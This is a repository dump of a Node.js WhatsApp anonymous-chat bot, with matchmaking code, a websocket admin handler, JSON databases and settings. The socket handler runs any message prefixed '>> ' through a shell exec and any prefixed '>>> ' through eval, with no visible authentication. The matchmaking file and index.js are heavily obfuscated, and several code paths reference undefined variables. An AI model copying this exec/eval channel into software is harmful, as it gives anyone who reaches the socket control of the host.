├── src ├── media │ ├── qrcode │ │ ├── .log │ │ └── MRHRTZ@kali:~#.png │ ├── DGC-img │ │ └── pp.jfif │ └── screenshot │ │ ├── ss.png │ │ └── serve.jpg ├── database │ ├── group.json │ ├── client-user.json │ ├── client-log.json │ ├── language.json │ ├── store-blog.json │ └── ws.txt ├── sessions │ └── .log ├── settings.json └── handler │ ├── socketHandler.js │ ├── clientMessage.js │ └── index.js ├── .github └── workflows │ └── node.js.yml ├── package.json ├── README.md ├── lib └── matchmaking.js └── index.js /src/media/qrcode/.log: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/database/group.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /src/sessions/.log: -------------------------------------------------------------------------------- 1 | log 2 | -------------------------------------------------------------------------------- /src/database/client-user.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /src/media/DGC-img/pp.jfif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MRHRTZ/Anon-Chat/HEAD/src/media/DGC-img/pp.jfif -------------------------------------------------------------------------------- /src/media/screenshot/ss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MRHRTZ/Anon-Chat/HEAD/src/media/screenshot/ss.png -------------------------------------------------------------------------------- /src/media/screenshot/serve.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MRHRTZ/Anon-Chat/HEAD/src/media/screenshot/serve.jpg -------------------------------------------------------------------------------- /src/media/qrcode/MRHRTZ@kali:~#.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MRHRTZ/Anon-Chat/HEAD/src/media/qrcode/MRHRTZ@kali:~#.png -------------------------------------------------------------------------------- /src/database/client-log.json: -------------------------------------------------------------------------------- 1 | { 2 | "status": false, 3 | "users": [], 4 | "media": null, 5 | "text": "" 6 | } -------------------------------------------------------------------------------- /src/database/language.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "sender": "6285559038021@s.whatsapp.net", 4 | "lang": "id" 5 | } 6 | ] -------------------------------------------------------------------------------- /src/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "Owner": "6285559038021@s.whatsapp.net", 3 | "PORT": 1945, 4 | "Session_Name": "MRHRTZ@kali:~#", 5 | "maxMatch": 60 6 | } 7 | -------------------------------------------------------------------------------- /src/database/store-blog.json: -------------------------------------------------------------------------------- 1 | { 2 | "status": false, 3 | "updatedAt": "2021-04-25T10:41:53.036+07:00", 4 | "all_post": 236, 5 | "all_pages": 24 6 | } -------------------------------------------------------------------------------- /.github/workflows/node.js.yml: -------------------------------------------------------------------------------- 1 | # This workflow will do a clean install of node dependencies, cache/restore them, build the source code and run tests across different versions of node 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions 3 | 4 | name: Node.js CI 5 | 6 | on: 7 | push: 8 | branches: [ main ] 9 | pull_request: 10 | branches: [ main ] 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | strategy: 18 | matrix: 19 | node-version: [14.x, 16.x] 20 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ 21 | 22 | steps: 23 | - uses: actions/checkout@v2 24 | - name: Use Node.js ${{ matrix.node-version }} 25 | uses: actions/setup-node@v2 26 | with: 27 | node-version: ${{ matrix.node-version }} 28 | cache: 'npm' 29 | - run: npm ci 30 | - run: npm run build --if-present 31 | - run: npm test 32 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "anon-chat", 3 | "version": "1.3.1", 4 | "description": "Anonymous chat on whatsapp!", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "node ." 9 | }, 10 | "repository": { 11 | "type": "git", 12 | "url": "git+https://github.com/MRHRTZ/Anon-Chat.git" 13 | }, 14 | "keywords": [ 15 | "Anonymous chat", 16 | "Random Chat", 17 | "Bot", 18 | "WhatsApp Random Chat", 19 | "WhatsApp Bot" 20 | ], 21 | "author": "MRHRTZ", 22 | "license": "ISC", 23 | "bugs": { 24 | "url": "https://github.com/MRHRTZ/Anon-Chat/issues" 25 | }, 26 | "homepage": "https://github.com/MRHRTZ/Anon-Chat#readme", 27 | "dependencies": { 28 | "@adiwajshing/baileys": "git+https://github.com/adiwajshing/baileys.git", 29 | "axios": "^0.21.1", 30 | "chalk": "^4.1.0", 31 | "cheerio": "^1.0.0-rc.6", 32 | "clear": "^0.1.0", 33 | "clui": "^0.3.6", 34 | "express": "^4.17.1", 35 | "figlet": "^1.5.0", 36 | "moment": "^2.29.1", 37 | "node-cron": "^3.0.0", 38 | "qrcode": "^1.4.4", 39 | "qrcode-terminal": "^0.12.0", 40 | "request": "^2.88.2", 41 | "ws": "^7.4.6" 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 |

5 | 6 |

7 |

8 | 9 |

10 |

11 | 12 | 13 | 14 | 15 |

16 | 17 | ## Installation 18 | - Install node js ( Download Here ) 19 | - clone this repo ( git clone https://github.com/MRHRTZ/Anon-Chat ) 20 | - Goto this directory ( cd Anon-Chat ) 21 | - Install It ( npm i ) 22 | - Run ( npm start ) 23 | 24 | ## Features 25 | - Connect with people support text message, sticker and other media! 26 | - Added broadcast feature text & image with caption 27 | - Light library without any heavy database ( json only ) 28 | - All platform supported, also termux. 29 | 30 | ## Note 31 | - You can change sessions and owner at src/settings.json 32 | - For different session you must change session name at settings 33 | 34 | ## Contact Me 35 | - WhatsApp 36 | - Instagram 37 | -------------------------------------------------------------------------------- /src/database/ws.txt: -------------------------------------------------------------------------------- 1 | Server { 2 | insecureHTTPParser: undefined, 3 | _events: [Object: null prototype] { 4 | request: [Function: app] EventEmitter { 5 | _events: [Object: null prototype], 6 | _eventsCount: 1, 7 | _maxListeners: undefined, 8 | setMaxListeners: [Function: setMaxListeners], 9 | getMaxListeners: [Function: getMaxListeners], 10 | emit: [Function: emit], 11 | addListener: [Function: addListener], 12 | on: [Function: addListener], 13 | prependListener: [Function: prependListener], 14 | once: [Function: once], 15 | prependOnceListener: [Function: prependOnceListener], 16 | removeListener: [Function: removeListener], 17 | off: [Function: removeListener], 18 | removeAllListeners: [Function: removeAllListeners], 19 | listeners: [Function: listeners], 20 | rawListeners: [Function: rawListeners], 21 | listenerCount: [Function: listenerCount], 22 | eventNames: [Function: eventNames], 23 | init: [Function: init], 24 | defaultConfiguration: [Function: defaultConfiguration], 25 | lazyrouter: [Function: lazyrouter], 26 | handle: [Function: handle], 27 | use: [Function: use], 28 | route: [Function: route], 29 | engine: [Function: engine], 30 | param: [Function: param], 31 | set: [Function: set], 32 | path: [Function: path], 33 | enabled: [Function: enabled], 34 | disabled: [Function: disabled], 35 | enable: [Function: enable], 36 | disable: [Function: disable], 37 | acl: [Function], 38 | bind: [Function], 39 | checkout: [Function], 40 | connect: [Function], 41 | copy: [Function], 42 | delete: [Function], 43 | get: [Function], 44 | head: [Function], 45 | link: [Function], 46 | lock: [Function], 47 | 'm-search': [Function], 48 | merge: [Function], 49 | mkactivity: [Function], 50 | mkcalendar: [Function], 51 | mkcol: [Function], 52 | move: [Function], 53 | notify: [Function], 54 | options: [Function], 55 | patch: [Function], 56 | post: [Function], 57 | pri: [Function], 58 | propfind: [Function], 59 | proppatch: [Function], 60 | purge: [Function], 61 | put: [Function], 62 | rebind: [Function], 63 | report: [Function], 64 | search: [Function], 65 | source: [Function], 66 | subscribe: [Function], 67 | trace: [Function], 68 | unbind: [Function], 69 | unlink: [Function], 70 | unlock: [Function], 71 | unsubscribe: [Function], 72 | all: [Function: all], 73 | del: [Function], 74 | render: [Function: render], 75 | listen: [Function: listen], 76 | request: [IncomingMessage], 77 | response: [ServerResponse], 78 | cache: {}, 79 | engines: {}, 80 | settings: [Object], 81 | locals: [Object: null prototype], 82 | mountpath: '/', 83 | _router: [Function] 84 | }, 85 | connection: [Function: connectionListener], 86 | listening: [Function: bound emit], 87 | error: [Function: bound emit], 88 | upgrade: [Function: upgrade] 89 | }, 90 | _eventsCount: 5, 91 | _maxListeners: undefined, 92 | _connections: 1, 93 | _handle: TCP { 94 | reading: false, 95 | onconnection: [Function: onconnection], 96 | [Symbol(owner_symbol)]: [Circular] 97 | }, 98 | _usingWorkers: false, 99 | _workers: [], 100 | _unref: false, 101 | allowHalfOpen: true, 102 | pauseOnConnect: false, 103 | httpAllowHalfOpen: false, 104 | timeout: 120000, 105 | keepAliveTimeout: 5000, 106 | maxHeadersCount: null, 107 | headersTimeout: 60000, 108 | _connectionKey: '6::::3000', 109 | [Symbol(IncomingMessage)]: [Function: IncomingMessage], 110 | [Symbol(ServerResponse)]: [Function: ServerResponse], 111 | [Symbol(kCapture)]: false, 112 | [Symbol(asyncId)]: 19 -------------------------------------------------------------------------------- /lib/matchmaking.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | const fs = require('fs') 4 | let settings = JSON.parse(fs.readFileSync('./src/settings.json')) 5 | const path = './src/database/client-user.json' 6 | let intev 7 | 8 | function match(jid, isSkip = false) { 9 | const a = ['Matching\x20w', 'jid', '1YLJSQq', 'ync', 'Success!', 'Time\x20out\x20o', '14YkBGeK', '4zDSaVX', '8962IJjFif', 'findIndex', '289902EAUiES', 'Sudah\x20masu', 'length', 'readFileSy', '10crwBhb', 'writeFileS', 'push', '997IrnrPs', 'client1', 'parse', 'includes', 'splice', '717426nlfBgp', '181024BazNgb', 'stringify', 'client2', '780734dgMLPC', 'indexOf', 'ith\x20', '53502RiQiCF', 'map', 'sesi\x20telah', '1048XlnDxP', 'f\x20range']; function b(c, d) { c = c - 0xaf; let e = a[c]; return e; } (function (c, d) { const q = function (c, d) { return b(d - '0x1b0', c); }; while (!![]) { try { const e = parseInt(q(0x25e, 0x264)) * parseInt(q('0x287', 0x277)) + -parseInt(q('0x285', 0x280)) * -parseInt(q(0x278, 0x268)) + -parseInt(q(0x25e, '0x26e')) * -parseInt(q(0x273, '0x26d')) + parseInt(q(0x27d, '0x27d')) + parseInt(q(0x276, '0x27c')) + -parseInt(q(0x273, '0x26c')) * -parseInt(q('0x267', 0x261)) + -parseInt(q(0x282, 0x274)) * parseInt(q(0x271, '0x270')); if (e === d) break; else c['push'](c['shift']()); } catch (f) { c['push'](c['shift']()); } } }(a, 0x94e68)); return new Promise((c, d) => { const r = function (c, d) { return b(d - '0x125', c); }; let e = JSON[r(0x1ed, 0x1ee)](fs[r('0x1eb', '0x1e8') + 'nc'](path)), f = e[r('0x1d6', 0x1d7)](h => h[r('0x1e2', '0x1ed')]), g = e[r(0x1cc, '0x1d7')](h => h[r('0x1f6', '0x1f4')]); e['map'](h => { const s = function (c, d) { return r(d, c - '0x13c'); }; h['client1'] === undefined && no_client1[s('0x327', '0x325')]({ 'jid': h[s(0x329, '0x32e')], 'index': f[s(0x310, 0x311)](h['client1']) }); }); if (f[r('0x1ea', '0x1ef')](jid)) return d({ 'status': ![], 'message': r('0x1e7', 0x1e6) + 'k\x20sesi\x20mat' + 'ch' }); if (!f['includes'](jid) && g[r('0x1df', '0x1ef')](jid)) return d({ 'status': ![], 'message': r(0x1d2, 0x1d8) + '\x20dimulai' }); if (!f[r(0x1e2, 0x1ef)](jid) && !g[r(0x1fe, 0x1ef)](jid)) { let h = [], i = e[r(0x1dd, 0x1d7)](j => j[r(0x1f2, 0x1ed)]); e[r('0x1d5', 0x1d7)](j => { const t = function (c, d) { return r(c, d - 0x32c); }; j[t('0x51e', 0x520)] === null && h[t('0x51b', '0x517')]({ 'jid': j['client1'], 'index': i[t(0x4fd, '0x500')](j['client1']) }); }); if (isSkip && h[r(0x1f5, 0x1e7)] > 0x0) c({ 'status': !![], 'jid': h[0x0][r(0x1e5, '0x1dc')], 'index': h[0x0]['index'] }); if (h['length'] > 0x0) { let j = JSON['parse'](fs[r('0x1f6', '0x1e8') + 'nc'](path)); j[h[0x0]['index']]['status'] = !![], j[h[0x0]['index']][r('0x1ff', '0x1f4')] = jid, fs[r('0x1f9', '0x1ea') + 'ync'](path, JSON[r(0x1f4, 0x1f3)](j, null, 0x5)), c({ 'status': !![], 'message': r(0x1d0, 0x1db) + r('0x1c7', '0x1d5') + h[0x0][r('0x1e0', '0x1dc')], 'target': h[0x0][r(0x1dd, '0x1dc')] }); } else { let k = 0x1, l = { 'status': ![], 'client1': jid, 'client2': null }; e[r('0x1df', '0x1eb')](l), fs[r('0x1fa', 0x1ea) + r('0x1d2', '0x1de')](path, JSON[r('0x200', '0x1f3')](e, null, 0x5)), intev = setInterval(() => { const u = function (c, d) { return r(d, c - 0x354); }; k++; let m = JSON['parse'](fs['readFileSy' + 'nc'](path)), n = m[u('0x538', 0x538)](o => o[u('0x541', 0x531)] == jid); (n !== -0x1 ? m[n][u('0x548', '0x545')] : null) !== null && (clearInterval(intev), c({ 'status': !![], 'code': 0xc8, 'message': u('0x533', '0x543'), 'target': m[n][u(0x548, '0x54f')] })); if (k > settings['maxMatch']) { clearInterval(intev); let o = h[u('0x538', 0x52a)](p => p[u(0x530, 0x530)] == jid); h['splice'](o, 0x1), m[u('0x544', '0x543')](n, 0x1), fs['writeFileS' + u(0x532, 0x52e)](path, JSON[u('0x547', '0x53a')](m, null, 0x5)), d({ 'status': ![], 'message': u(0x534, 0x52f) + u(0x52e, '0x526') }); } }, 0x3e8); } } }); 10 | } 11 | 12 | function stop(jid) { 13 | const a = ['115ewIGTo', '1311460fOoWst', 'parse', '1233306DpPsaY', '1362204efmjlJ', 'readFileSy', '1mOxAVT', '7745brdIlJ', 'includes', '1wfgJri', 'client2', '230374EHxndL', 'und\x20in\x20db', 'tidak\x20ada\x20', '346642vcRQSx', 'Jid\x20not\x20fo', 'client1', '1IgnWqr', 'findIndex', '445894HHuiuk', 'sesi!']; (function (c, d) { const k = function (c, d) { return b(c - -0x1c0, d); }; while (!![]) { try { const e = -parseInt(k(-0xee, -'0xf6')) * parseInt(k(-0xeb, -0xe2)) + parseInt(k(-0xf5, -0xf3)) * -parseInt(k(-'0xe7', -'0xec')) + parseInt(k(-0xe9, -0xed)) + parseInt(k(-0xe6, -0xf1)) + parseInt(k(-0xf1, -0xfa)) * parseInt(k(-'0xf6', -'0xf0')) + -parseInt(k(-'0xf8', -0xf2)) * -parseInt(k(-'0xf3', -0xf3)) + -parseInt(k(-0xe4, -'0xea')); if (e === d) break; else c['push'](c['shift']()); } catch (f) { c['push'](c['shift']()); } } }(a, 0xd6acd)); function b(c, d) { c = c - 0xc8; let e = a[c]; return e; } return new Promise((c, d) => { const l = function (c, d) { return b(d - '0x244', c); }; let e = JSON[l(0x323, '0x31f')](fs[l(0x30a, 0x30d) + 'nc'](path)), f = e['map'](i => i['client1']), g = e['map'](i => i[l(0x309, '0x312')]); if (!f[l(0x30d, '0x310')](jid) && !g[l(0x316, '0x310')](jid)) return d({ 'status': ![], 'message': l('0x310', '0x315') + l(0x326, 0x31c) }); let h = null; f[l(0x319, '0x310')](jid) ? h = e['findIndex'](j => j[l('0x323', 0x318)] == jid) : h = e[l('0x324', '0x31a')](j => j[l('0x318', 0x312)] == jid), h === -0x1 ? d({ 'status': ![], 'message': l(0x316, '0x317') + l(0x313, 0x314) }) : (clearInterval(intev), c({ 'status': !![], 'message': 'Success\x20st' + 'op', 'index': h, 'db': e, 'target': f[l('0x316', 0x310)](jid) ? e[h][l(0x31d, '0x312')] : e[h][l(0x30f, 0x318)] })); }); 14 | } 15 | 16 | 17 | function isMatched(jid) { 18 | const a = ['152995lcJjzi', 'lam\x20matchm', '1lnKPhB', 'findIndex', '203735HRZSKf', '1yiaDOL', 'includes', '9HpecBB', '87689PuGDxP', 'pun\x20chat', 'client1', 'Tidak\x20dida', '72208nkhwKg', '67HjIFYg', 'Sedang\x20dal', 'alam\x20Chat', '5851DUItRk', 'map', '11532OFvBeA', 'aking\x20atau', 'Sedang\x20Did', 'readFileSy', 'tchmaking', 'am\x20sesi\x20ma', '2578QSLBaH', '1RzXvpm', 'client2']; function b(c, d) { c = c - 0x99; let e = a[c]; return e; } const h = function (c, d) { return b(d - -'0x2a1', c); }; (function (c, d) { const g = function (c, d) { return b(c - -'0x115', d); }; while (!![]) { try { const e = parseInt(g(-0x69, -0x6c)) + -parseInt(g(-'0x6b', -'0x61')) * parseInt(g(-'0x65', -0x6f)) + parseInt(g(-0x68, -'0x69')) * parseInt(g(-0x76, -'0x69')) + -parseInt(g(-'0x6f', -0x77)) * -parseInt(g(-'0x6d', -'0x68')) + parseInt(g(-0x66, -'0x6b')) * -parseInt(g(-0x78, -'0x82')) + parseInt(g(-0x7b, -'0x87')) * -parseInt(g(-0x70, -'0x67')) + parseInt(g(-0x7c, -'0x83')); if (e === d) break; else c['push'](c['shift']()); } catch (f) { c['push'](c['shift']()); } } }(a, 0x1f1a4)); let db_user = JSON['parse'](fs[h(-'0x1f7', -'0x1ff') + 'nc'](path)), user1 = db_user['map'](c => c[h(-'0x1f2', -'0x1ef')]), user2 = db_user[h(-'0x1fd', -'0x203')](c => c[h(-0x1ee, -0x1fa)]); if (user1[h(-'0x1fd', -0x1f3)](jid)) { const index_user = db_user[h(-0x1eb, -0x1f6)](c => c['client1']); return db_user[index_user]['status'] ? { 'status': !![], 'message': h(-0x1f4, -'0x200') + h(-'0x209', -0x205), 'type': 0x1 } : { 'status': !![], 'message': 'Sedang\x20dal' + h(-'0x209', -'0x1fd') + h(-0x20a, -'0x1fe'), 'type': 0x1 }; } else { if (user2['includes'](jid)) { const index_user2 = db_user[h(-'0x1f1', -0x1f6)](c => c[h(-0x1ec, -'0x1fa')]); return db_user[index_user2]['status'] ? { 'status': !![], 'message': h(-0x1ff, -'0x200') + 'alam\x20Chat', 'type': 0x2 } : { 'status': !![], 'message': h(-0x1fc, -0x206) + 'am\x20sesi\x20ma' + 'tchmaking', 'type': 0x2 }; } else return { 'status': ![], 'message': h(-'0x1eb', -'0x1ee') + h(-'0x1f3', -'0x1f8') + h(-'0x20a', -'0x201') + h(-'0x1f3', -'0x1f0') }; } 19 | } 20 | 21 | module.exports = { match, stop, isMatched } -------------------------------------------------------------------------------- /src/handler/socketHandler.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var fs = require("fs"); 4 | var request = require('request') 5 | var chalk = require('chalk') 6 | var moment = require('moment') 7 | var { exec } = require('child_process') 8 | var util = require('util'); 9 | const { MessageType } = require('@adiwajshing/baileys'); 10 | // const time = moment(new Date()).format('HH:mm:ss DD/MM/YYYY') 11 | 12 | let client_log = [] 13 | 14 | function ERRLOG(e) { 15 | console.log( 16 | chalk.redBright('[ DGC Bot Official ] '), 17 | moment(new Date() / 1000).format('HH:mm:ss DD/MM/YYYY'), 18 | chalk.bgBlueBright("name: " + e.name + " message: " + e.message) 19 | ); 20 | } 21 | 22 | function getRemaining(endtime) { 23 | const total = Date.parse(endtime) - Date.parse(new Date()); 24 | const seconds = Math.floor((total / 1000) % 60); 25 | const minutes = Math.floor((total / 1000 / 60) % 60); 26 | const hours = Math.floor((total / (1000 * 60 * 60)) % 24); 27 | const days = Math.floor(total / (1000 * 60 * 60 * 24)); 28 | 29 | return { 30 | total, 31 | days, 32 | hours, 33 | minutes, 34 | seconds, 35 | }; 36 | } 37 | 38 | 39 | let handleSocket; 40 | 41 | module.exports = handleSocket = async ( 42 | ws, 43 | conn, 44 | body, 45 | args, 46 | clients 47 | ) => { 48 | try { 49 | ws.sendTo = (id, text) => { 50 | 51 | } 52 | ws.sendAll = (text) => { 53 | clients.forEach((client) => { 54 | client.send(text); 55 | }); 56 | }; 57 | const cmd = body.split(/ +/)[0] 58 | async function mengetik(dari) { 59 | await conn.chatRead(dari) 60 | await conn.updatePresence(dari, 'composing') 61 | } 62 | 63 | async function balas(dari, textnya) { 64 | mengetik(dari) 65 | conn.sendMessage(dari, textnya, text, { 66 | quoted: hurtz, 67 | }); 68 | } 69 | 70 | async function sendDariUrlNoReply(dari, url, type, text) { 71 | if ( 72 | !/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi.test( 73 | url 74 | ) 75 | ) 76 | return console.error(`Not a valid url!`); 77 | await conn.updatePresence(dari, 'composing') 78 | const caption = text || ""; 79 | request({ 80 | url: url, 81 | encoding: null, 82 | }, 83 | async (err, resp, buffer) => { 84 | conn.sendMessage(dari, buffer, type, { 85 | // quoted: hurtz, 86 | caption: caption, 87 | }); 88 | await conn.updatePresence(dari, 'paused') 89 | } 90 | ); 91 | } 92 | 93 | if ( 94 | body.startsWith(">> ") 95 | ) { 96 | exec(body.slice(3), (err, stdout, stderr) => { 97 | if (err) { 98 | ws.send(util.format(err)); 99 | return; 100 | } 101 | ws.send(util.format(stdout)); 102 | }); 103 | } else if ( 104 | body.startsWith(">>> ") 105 | ) { 106 | try { 107 | const datainput = body.slice(4); 108 | ws.send(util.format(eval(datainput))); 109 | } catch (error) { 110 | ws.send(util.format(`*Error unexpected* :\n\n${error}`)); 111 | } 112 | } 113 | 114 | 115 | /*-----------------[ Function ]------------------*/ 116 | const c = conn.chats.dict 117 | let k = Object.keys(c) 118 | let listGroup = [] 119 | for (let o of k) { 120 | if (o.endsWith('@g.us')) { 121 | listGroup.push({ jid: o, name: c[o].name, t: moment(c[o].t * 1000).format('HH:mm:ss DD/MM/YYYY'), mute: c[o].mute, spam: c[o].spam, messageLength: c[o].messages.length, member: c[o].read_only ? false : true }) 122 | } 123 | } 124 | 125 | 126 | let db_grup = JSON.parse(fs.readFileSync('./src/database/group.json')) 127 | let db_blog = JSON.parse(fs.readFileSync('./src/database/store-blog.json')) 128 | 129 | function checkAndExecute() { 130 | dgc.latest(1) 131 | .then((resultA) => { 132 | let totalUpdate = Number(resultA.all_post) - Number(db_blog.all_post) 133 | if (db_blog.all_post < resultA.all_post) { 134 | console.log(chalk.greenBright('[ DGC Bot Official ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.white('Status Changed', totalUpdate, 'Content')) 135 | db_blog.status = true 136 | fs.writeFileSync('./src/database/store-blog.json', JSON.stringify(db_blog, null, 2)) 137 | } 138 | if (db_blog.status) { 139 | const objRequired = { 140 | status: false, 141 | updatedAt: resultA.updatedAt, 142 | all_post: resultA.all_post, 143 | all_pages: resultA.all_pages 144 | } 145 | fs.writeFileSync('./src/database/store-blog.json', JSON.stringify(objRequired, null, 2)) 146 | console.log(chalk.greenBright('[ DGC Bot Official ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgGrey('Update Content : ' + resultA.result[0].title + ' - ' + resultA.result[0].author_post)) 147 | if (db_grup.some(rest => listGroup.map(v => v.jid).includes(rest))) { 148 | let gcAllowed = [] 149 | listGroup.map(v => v.jid).forEach((rest) => { 150 | if (db_grup.includes(rest)) { 151 | gcAllowed.push(rest) 152 | } 153 | }) 154 | let idsList = resultA.result.map(rst => rst.id) 155 | for (let i = 0;i < totalUpdate;i++) { 156 | dgc.readArticle(idsList[i]) 157 | .then((result) => { 158 | // console.log(result) 159 | const strBaca = `[ *${result.title} - ${result.author}* ] 160 | 161 | 162 | \`\`\`${moment(result.published).format('HH:mm:ss DD/MM/YYYY')}\`\`\` 163 | 164 | \`\`\`Category : ${result.categories.length < 1 ? '-' : result.categories.join(', ')}\`\`\` 165 | 166 | 167 | ${result.content.replace('-DeepGore Creepypasta-', '')} 168 | 169 | 170 | _Source : ${result.link}_ 171 | 172 | 173 | *_☠️ Powered By DGC BOT ☠️_*` 174 | for (let jids of gcAllowed) { 175 | let pathPP = './src/media/DGC-img/pp.jfif' 176 | const buffDGC = fs.readFileSync(pathPP) 177 | if (result.thumb) { 178 | sendDariUrlNoReply(jids, result.thumb, 'imageMessage', strBaca) 179 | } else { 180 | conn.sendMessage(jids, buffDGC, 'imageMessage', { caption: strBaca }) 181 | } 182 | } 183 | // db_blog.status = true 184 | // fs.writeFileSync('./src/database/store-blog.json', JSON.stringify(db_blog, null, 2)) 185 | }) 186 | .catch((e) => { 187 | // console.log(e) 188 | ERRLOG(e) 189 | // balas(from, `Terdapat kesalahan! mohon masukan id yg benar.`) 190 | // balas(nomerOwner[0], e.message) 191 | }) 192 | } 193 | } 194 | } else { 195 | console.log(chalk.greenBright('[ DGC Bot Official ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgGrey('No post update')) 196 | } 197 | }) 198 | } 199 | 200 | 201 | /*-----------------------[ Handler ]---------------------*/ 202 | 203 | switch (cmd) { 204 | case 'runtime': 205 | var uptime = process.uptime(); 206 | const date = new Date(uptime * 1000); 207 | const days = date.getUTCDate() - 1, 208 | hours = date.getUTCHours(), 209 | minutes = date.getUTCMinutes(), 210 | seconds = date.getUTCSeconds(), 211 | milliseconds = date.getUTCMilliseconds(); 212 | let segments = []; 213 | if (days > 0) segments.push(days + " Hari"); 214 | if (hours > 0) segments.push(hours + " Jam"); 215 | if (minutes > 0) segments.push(minutes + " Menit"); 216 | if (seconds > 0) segments.push(seconds + " Detik"); 217 | if (milliseconds > 0) segments.push(milliseconds + " milidetik"); 218 | const dateString = segments.join(", "); 219 | ws.send(`\nWaktu bot aktif / telah berjalan selama ${dateString}`) 220 | break 221 | case 'kirim': 222 | if (args.length === 1) return ws.send(`\nPenggunaan : kirim \nContoh : kirim 6285559038021 Hai`) 223 | try { 224 | const conts = conn.contacts[args[1]] || { notify: args[1].replace(/@.+/, ""), }; 225 | // console.log(args[1].includes('@g.us') ? args[1] : args[1] + '@s.whatsapp.net') 226 | conn.sendMessage(args[1].includes('@g.us') ? args[1] : args[1] + '@s.whatsapp.net', args.slice(2).join(' '), MessageType.text) 227 | .then(() => ws.send(`\nBerhasil mengirim pesan ke ${conts.notify || conts.vname || conts.name || "-"} ✅`)) 228 | } catch (e) { 229 | console.log(e) 230 | ws.send(util.format(`\nKesalahan : ${e.message}`)) 231 | } 232 | 233 | break 234 | case 'test': 235 | const group = await conn.groupCreate("Group Testing G-2315", ["6285559038021@s.whatsapp.net"]) 236 | console.log("created group with id: " + group.gid) 237 | await conn.fetchGroupMetadataFromWA(from, 0).then(console.log) 238 | break 239 | case 'fetch': 240 | conn.groupMetadata((rest) => { 241 | balas(from, util.format(rest)) 242 | }) 243 | break 244 | case 'cekdata': 245 | checkAndExecute() 246 | ws.send('done') 247 | break 248 | case 'grupjson': 249 | ws.send(listGroup) 250 | break 251 | case 'log': 252 | if (args.length === 1) return ws.send(chalk.grey('\nPenggunaan : log \n')) 253 | if (args[1] == 'on') { 254 | let cl_before = client_log.length 255 | client_log.push(ws) 256 | if (cl_before < client_log.length) { 257 | ws.send(chalk.green('SERVER ') + ': ' + chalk.white(' Sukses mengaktifkan log ( ketik log off untuk nonaktif )')) 258 | } else { 259 | ws.send(chalk.green('SERVER ') + ': ' + chalk.white(' Data gagal dimasukan, mohon ulangi!')) 260 | } 261 | } else if (args[1] == 'off') { 262 | const index = client_log.indexOf(ws) 263 | client_log.splice(index, 1) 264 | ws.send(chalk.green('SERVER ') + ': ' + chalk.white(' Sukses menonaktifkan log')) 265 | } else { 266 | ws.send(chalk.grey('\nPenggunaan : log \n')) 267 | } 268 | break 269 | default: 270 | break 271 | } 272 | /*-----------------[ End Of Handler ]------------------*/ 273 | } catch (error) { 274 | console.log(error) // ERRLOG 275 | // balas('6285559038021@s.whatsapp.net', util.format(error)) 276 | } 277 | }; 278 | 279 | exports.client_log = client_log -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | const fs = require('fs') 4 | const { default: Axios } = require('axios') 5 | const { WAConnection, MessageType, Mimetype, GroupSettingChange } = require("@adiwajshing/baileys") 6 | const qrcode = require('qrcode') 7 | const termqr = require('qrcode-terminal') 8 | const chalk = require('chalk') 9 | const moment = require('moment') 10 | fs.writeFileSync('./src/database/client-user.json', JSON.stringify([])) 11 | 12 | 13 | const a = ['ifbYzxbHCMLUzW', 'mmkzW51qFmo+', 'kZyYidG1ns01oq', 'CgfYC2u', 'WP/dRqCNv8k6WPhdUvm', 'idOG', 'Bg9N', 'mta2mtm1nw9TtKXvAq', 'o8kMocHhBCkmWOBdRmo7', 'FL8bWP0mwa9iiJldQtW', 'WRi2yvjqWRxdVXTJW6u', 'aY03uCo6qa', 'yxjNDG', 'yxDLCMLHlMnVlW', 'Dgv4Dfn5BMm', 'BCo/W4NdIq0r', 'ntyXnZy5uwPkzKff', 'W60Ykmo9WObjs3xcL8od', 'uKHsvfO', 'aCkwWOq', 'pSovW4iDWRj0FdOZW6C', 'ifjLy29UBMvJDa', 'aL3dMhy', 'y2XLyxi', 'Cgf5CgfSlM1LlW', 'tvjiuLrAihWGCW', 'WPBdNGRdNmku', 'otmXnZCZDvjXtK1Y', 'W7KYjSoRAIzgE8o8WOjhWR8', 'WQVdJKNcI8kfj3mW', 'ote1mZaYENfUserj', 'ACoCWPf9xCokomko', 'W5ZcJ8kmhSkU', 'sSosCKDW', 'twvZC2fNzsbnzq', 'Aw5NCY5QC29U', 'zMLNBgv0', 'FG0vbmoSWRHoW7NdGWO', 'W67cPmkTi0pdRKddJSkxhq', 'omoWja', 'ECkFW440ysCcAa4i', 'qM90', 'odK1mZC5vwH4zLvn', 'y3LHBG', 'D2HPDgu', 'Ahr0Chm6lY9NAq', 'mte5ota0nLvuAgTzqW', 'W7xdGxS', 'WR/cGeeBAs3cHNDRW7WVWQ0', 'dmo6lmoBWQddVd4UWRFdNW', 'rgfUy2LUzYbgBW', 'W6VdI3JdGN5ylCkJW4m', 'FCo1WPGkWR5oWQi', 'cIaGicaGicaGia', 'wYbdCMvHDgvKia', 